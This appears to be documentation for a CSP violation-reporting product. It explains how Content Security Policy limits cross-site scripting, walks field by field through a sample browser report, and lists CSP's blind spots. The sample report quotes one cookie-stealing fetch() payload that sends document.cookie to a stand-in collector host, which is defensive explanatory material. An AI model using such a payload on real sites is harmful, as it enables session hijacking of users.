Cross-site scripting
CSP and XSS
A Content Security Policy does not prevent cross-site scripting. It decides what an injected script is allowed to do once the injection has already worked — which is why it is worth having, and why it is not a substitute for fixing the injection.
This page covers the part HeaderHawk is involved in: what the browser reports when a script is refused, what that report actually contains, and what you can and cannot conclude from it.
What the attack is
Cross-site scripting is the browser being persuaded to treat attacker data as code. A search term echoed back into the page unescaped, a comment stored and rendered as markup, a URL fragment written intoinnerHTML — the mechanism varies, and the result is the same: script running on your origin, with your cookies, your session, and your users' trust.
The reason CSP exists is that the browser has no way to tell that script apart from yours. It arrived in your document, from your domain. An allowlist is the browser asking a second question before it runs anything: not where did this appear but did the site say this was allowed. An injected <script> block has no nonce and is not a URL on your allowlist, so a policy without'unsafe-inline' refuses it.
What the report looks like
Here is the body a browser posts to your reporting endpoint when a policy refuses an inline script. Nothing is paraphrased — these are the field names and values that arrive.
{
"csp-report": {
"document-uri": "https://shop.example.com/products/1421?q=trainers",
"referrer": "https://shop.example.com/search",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"original-policy": "default-src 'self'; script-src 'self' 'report-sample'; report-uri https://ingest.headerhawk.com/r/abc123",
"disposition": "report",
"blocked-uri": "inline",
"status-code": 200,
"script-sample": "fetch('https://collector.example.net/c?d='+document.cookie)"
}
}How it appears in HeaderHawk
script-src-elem inline script (a3d41634)
- blocked-uri is the literal string inline, not a URL: the browser is telling you a <script> block or an event handler was refused, and there is no host to look up.
- script-sample is the first characters of the offending code, and it is the field that makes the report actionable. Browsers only send it when your policy carries 'report-sample', which is why that keyword is worth the eight bytes.
- HeaderHawk hashes that sample into the issue signature, so two different injected scripts are two issues rather than one growing pile — and the same payload appearing on forty pages is one issue with forty affected pages.
- violated-directive says script-src-elem even if your policy only says script-src. Browsers report the most specific directive consulted, and grouping follows the effective one.
- disposition: report means nothing was blocked. The script ran. Changing that is a change to your header, not a setting here.
Field by field: the script-src reference.
What HeaderHawk does with it
One injected script on a busy page is not one report. It is one report per page load, from every browser that renders it, for as long as the injection is live — which is the reason raw CSP reporting has a reputation for being unusable.
HeaderHawk collapses them onto the underlying problem. An inline violation's signature is its directive plus a hash of the code sample, so the issue list holds one row per distinct payload, carrying its report count, how many distinct pages it appeared on, when it was first seen and when it was last seen. Opening the row gives you the individual reports behind it: the source file, the line and column the browser attributed it to, the sample itself, the full policy that was in force at the time, and the browser and operating system that sent it.
For an XSS investigation the useful columns are the page count and the first-seen timestamp. A payload on one page is a single bad input; the same payload across hundreds is stored, and the first-seen time is roughly when it was stored.
Reports whose blocked URI is a browser-extension scheme, or whose user agent matches a known crawler, are classified as noise before any of this. They stay visible in the dashboard — sometimes an extension is exactly what you are chasing — but they are held back from alerting, because a CSP endpoint left unfiltered is mostly other people's extensions.
Alerting works on browser agreement rather than on volume you configure. Reports accumulate in 15-minute windows; a window that two or more browser families reported, or that carries twenty or more signal reports from one, goes out immediately to Slack, email or a webhook. Quieter windows go to a daily or weekly digest instead. There is no threshold to set and no spike detection — those do not exist in the product.
Where CSP alone is not enough
This is the section that decides whether the rest of the page is worth believing, so it is longer than the others.
- It does not stop the injection. Something on your side rendered attacker input into the page, and that bug is still there whether or not the browser ran the result. A CSP narrows the blast radius; it does not patch the hole.
- In report-only mode nothing is blocked at all. The browser loads the page exactly as it would have, and sends you a report. Moving to an enforcing policy is a change you make to your own header, and it is the only thing that turns a report into a block.
- A policy containing 'unsafe-inline' reports nothing for this class of attack, because nothing violated it. The same goes for a script-src that allows a host the attacker can already write to.
- DOM-based XSS is mostly invisible here. When injected data reaches a sink like innerHTML through code you shipped and trusted, the script that runs is yours, from an origin you allow, and no directive is consulted. require-trusted-types-for is the CSP answer to that, and it is a different mechanism from an allowlist.
- Exfiltration through an allowed origin produces no report either. If the attacker's code can reach an endpoint your connect-src or img-src already permits, the browser has no objection to raise.
- HeaderHawk sees the report, not the page. It does not fetch your site, scan your markup, or check which security headers you serve, so it cannot tell you that a policy stopped being sent — only that reports stopped arriving.
Where to go next
- The
script-srcreference covers what the directive controls, what it does not, and the sources worth allowing. require-trusted-types-foris the directive aimed at DOM XSS, which an allowlist does not reach.- Third-party scripts covers the other way script you did not write ends up on your page.
See what your pages are running
Put a tight script-src on one page in report-only mode. Nothing breaks, and the reports start with the next page load.